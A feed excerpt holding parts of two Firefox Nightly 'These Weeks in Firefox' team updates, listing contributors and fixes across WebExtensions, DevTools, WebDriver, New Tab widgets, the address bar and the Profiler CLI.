<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
